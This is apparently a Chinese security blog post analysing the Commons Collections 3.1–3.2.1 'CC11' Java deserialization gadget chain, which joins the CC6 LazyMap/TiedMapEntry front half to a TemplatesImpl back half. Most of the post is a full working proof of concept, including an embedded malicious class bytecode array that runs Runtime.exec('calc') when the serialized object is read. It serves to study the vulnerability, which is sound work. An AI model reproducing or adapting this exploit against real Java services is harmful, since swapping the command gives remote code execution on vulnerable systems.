CC链后面的几条链子,感觉其实就是前面几条链子的衍生物。两条链子的前半段或后半段拼一起就是一个新的链子,类似这样。而CC11这条链子,听说是目前在利用方面是没有jdk版本限制的,而且影响版本是Conmons-Collections3.1-3.2.1,利用范围也比较大一些。

环境问题

  1. <dependency>
  2. <groupId>commons-collections</groupId>
  3. <artifactId>commons-collections</artifactId>
  4. <version>3.2.1</version>
  5. </dependency>

maven下载源码可以在pom.xml文件所在的目录下执行命令

  1. mvn dependency:resolve -Dclassifier=sources

利用链说明

  1. java.io.ObjectInputStream.readObject()
  2. java.util.HashSet.readObject()
  3. java.util.HashMap.put()
  4. java.util.HashMap.hash()
  5. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  7. org.apache.commons.collections.map.LazyMap.get()
  8. org.apache.commons.collections.functors.InvokerTransformer.transform()
  9. java.lang.reflect.Method.invoke()
  10. ... templates gadgets ...
  11. java.lang.Runtime.exec()

其实就是CC6,只不过跟CC6不一样的地方就是CC6使用Transform[]来进行加载payload,当Transform[] 被禁用后CC6就不适用了,这里CC6与CC2结合就是为了在Transform[]被禁用的情况下,依旧可以进行命令执行。

下面进行分析一下,并编写POC

利用链分析

首先写后半段,也就是CC6的后半部分,构造TemplatesImpl 链

  1. public class CC11Test {
  2. public static void main(String[] args) throws Exception{
  3. TemplatesImpl templates = new TemplatesImpl();
  4. Class cc11 = templates.getClass();
  5. Field nameField = cc11.getDeclaredField("_name");
  6. nameField.setAccessible(true);
  7. nameField.set(templates, "m0re");
  8. Field bytecodesField = cc11.getDeclaredField("_bytecodes");
  9. bytecodesField.setAccessible(true);
  10. // byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  11. byte[] code = {-54,-2,-70,-66,0,0,0,52,0,52,10,0,8,0,36,10,0,37,0,38,8,0,39,10,0,37,0,40,7,0,41,10,0,5,0,42,7,0,43,7,0,44,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,20,76,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,45,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,41,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,9,0,10,7,0,46,12,0,47,0,48,1,0,4,99,97,108,99,12,0,49,0,50,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,51,0,10,1,0,18,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,0,0,0,0,4,0,1,0,9,0,10,0,1,0,11,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,11,0,13,0,0,0,12,0,1,0,0,0,5,0,14,0,15,0,0,0,1,0,16,0,17,0,2,0,11,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,23,0,13,0,0,0,32,0,3,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,20,0,21,0,2,0,22,0,0,0,4,0,1,0,23,0,1,0,16,0,24,0,2,0,11,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,28,0,13,0,0,0,42,0,4,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,25,0,26,0,2,0,0,0,1,0,27,0,28,0,3,0,22,0,0,0,4,0,1,0,23,0,8,0,29,0,10,0,1,0,11,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,12,0,0,0,22,0,5,0,0,0,14,0,9,0,17,0,12,0,15,0,13,0,16,0,17,0,18,0,13,0,0,0,12,0,1,0,13,0,4,0,30,0,31,0,0,0,32,0,0,0,7,0,2,76,7,0,33,4,0,1,0,34,0,0,0,2,0,35};
  12. byte[][] codes = {code};
  13. bytecodesField.set(templates, codes);
  14. Field tfactoryField = cc11.getDeclaredField("_tfactory");
  15. tfactoryField.setAccessible(true);
  16. tfactoryField.set(templates, new TransformerFactoryImpl());
  17. //注意这里
  18. templates.newTransformer()
  19. }
  20. }

恶意类的字节码不解释了,跟注释的那一行一样的。

然后就是写出前半部分链子,来替换templates.newTransformer()

这里使用LazyMap类里面那条链子,涉及到

  1. java.util.HashMap.put()
  2. java.util.HashMap.hash()
  3. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  4. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  5. org.apache.commons.collections.map.LazyMap.get()

编写这一块内容,需要考虑的问题是在调用put时,会在序列化时就直接执行payload,不合逻辑

🍨CC11反序列化分析 - 图1

所以要在添加key后先删除掉这个key,再使用反射添加一个key,最后去序列化。之前也都写过一次

  1. HashMap<Object, Object> hashMap = new HashMap<>();
  2. // 修改 lazyMap 使链失效,不触发 Calc
  3. Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("m0re"));
  4. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
  5. HashMap<Object, Object> pocMap = new HashMap<>();
  6. // 会提前调用 hash(key),导致 Clac
  7. pocMap.put(tiedMapEntry, "value");
  8. // 删除 put 时添加的 key
  9. lazyMap.remove("1");
  10. // 调用 put 方法后将 lazyMap 修改回正常可用的
  11. Class c = LazyMap.class;
  12. Field factoryField = c.getDeclaredField("factory");
  13. factoryField.setAccessible(true);
  14. factoryField.set(lazyMap, chainedTransformer);

最后整合,首先看中间链接部分,是需要调用newTransformer,而这里不能使用Transform数组

这样原本数组的形式是这样的

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(templates),
  3. new InvokerTransformer("newTransformer", null, null)
  4. };
  5. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

现在不需要了,改写称如下格式

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

同样,传入的key也要变化

  1. HashMap<Object, Object> hashMap = new HashMap<>();
  2. // 修改 lazyMap 使链失效,不触发 Calc
  3. Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("m0re"));
  4. //注意这里的TiedMapEntry传入的key值
  5. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
  6. HashMap<Object, Object> pocMap = new HashMap<>();
  7. // 会提前调用 hash(key),导致 Clac
  8. pocMap.put(tiedMapEntry, "value");
  9. // 删除 put 时添加的 key
  10. lazyMap.remove(templates);
  11. // 调用 put 方法后将 lazyMap 修改回正常可用的
  12. Class c = LazyMap.class;
  13. Field factoryField = c.getDeclaredField("factory");
  14. factoryField.setAccessible(true);
  15. factoryField.set(lazyMap, invokerTransformer);

先说下为什么传入的key值必须是templates

因为如果没有传入templates而是传入了一个字符串test,那么继续向下走,pocMap执行put方法,传进去的就没有恶意类的值。自然删除时也就相当于删除了test这个无关紧要的key,这个时候lazyMap中也没有我们的恶意类的值。

重点在下面,注意这里获取的是lazyMap的class,已经获取不到任何数据有关payload了,也就是恶意类。这个时候去序列化没问题发生,但是再执行反序列化的时候就没有办法执行payload。无法成功实现命令执行。

最后的POC是

  1. package com.wuhen;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.nio.file.Files;
  11. import java.nio.file.Paths;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class CC11Test {
  15. public static void main(String[] args) throws Exception{
  16. TemplatesImpl templates = new TemplatesImpl();
  17. Class cc11 = templates.getClass();
  18. Field nameField = cc11.getDeclaredField("_name");
  19. nameField.setAccessible(true);
  20. nameField.set(templates, "m0re");
  21. Field bytecodesField = cc11.getDeclaredField("_bytecodes");
  22. bytecodesField.setAccessible(true);
  23. // byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  24. byte[] code = {-54,-2,-70,-66,0,0,0,52,0,52,10,0,8,0,36,10,0,37,0,38,8,0,39,10,0,37,0,40,7,0,41,10,0,5,0,42,7,0,43,7,0,44,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,20,76,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,45,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,41,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,9,0,10,7,0,46,12,0,47,0,48,1,0,4,99,97,108,99,12,0,49,0,50,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,51,0,10,1,0,18,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,0,0,0,0,4,0,1,0,9,0,10,0,1,0,11,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,11,0,13,0,0,0,12,0,1,0,0,0,5,0,14,0,15,0,0,0,1,0,16,0,17,0,2,0,11,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,23,0,13,0,0,0,32,0,3,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,20,0,21,0,2,0,22,0,0,0,4,0,1,0,23,0,1,0,16,0,24,0,2,0,11,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,28,0,13,0,0,0,42,0,4,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,25,0,26,0,2,0,0,0,1,0,27,0,28,0,3,0,22,0,0,0,4,0,1,0,23,0,8,0,29,0,10,0,1,0,11,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,12,0,0,0,22,0,5,0,0,0,14,0,9,0,17,0,12,0,15,0,13,0,16,0,17,0,18,0,13,0,0,0,12,0,1,0,13,0,4,0,30,0,31,0,0,0,32,0,0,0,7,0,2,76,7,0,33,4,0,1,0,34,0,0,0,2,0,35};
  25. byte[][] codes = {code};
  26. bytecodesField.set(templates, codes);
  27. Field tfactoryField = cc11.getDeclaredField("_tfactory");
  28. tfactoryField.setAccessible(true);
  29. tfactoryField.set(templates, new TransformerFactoryImpl());
  30. // Transformer[] transformers = new Transformer[]{
  31. // new ConstantTransformer(templates),
  32. // new InvokerTransformer("newTransformer", null, null)
  33. // };
  34. // ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  35. InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
  36. HashMap<Object, Object> hashMap = new HashMap<>();
  37. // 修改 lazyMap 使链失效,不触发 Calc
  38. Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("m0re"));
  39. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
  40. HashMap<Object, Object> pocMap = new HashMap<>();
  41. // 会提前调用 hash(key),导致 Clac
  42. pocMap.put(tiedMapEntry, "value");
  43. // 删除 put 时添加的 key
  44. lazyMap.remove(templates);
  45. // 调用 put 方法后将 lazyMap 修改回正常可用的
  46. Class c = LazyMap.class;
  47. Field factoryField = c.getDeclaredField("factory");
  48. factoryField.setAccessible(true);
  49. factoryField.set(lazyMap, invokerTransformer);
  50. // serialize(pocMap);
  51. unserialize("ser.bin");
  52. }
  53. public static void serialize(Object obj) throws IOException {
  54. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  55. oos.writeObject(obj);
  56. }
  57. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  58. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  59. Object obj = ois.readObject();
  60. return obj;
  61. }
  62. }

结果

🍨CC11反序列化分析 - 图2

其实这个链子只是看掌握程度,没有什么复杂的新知识。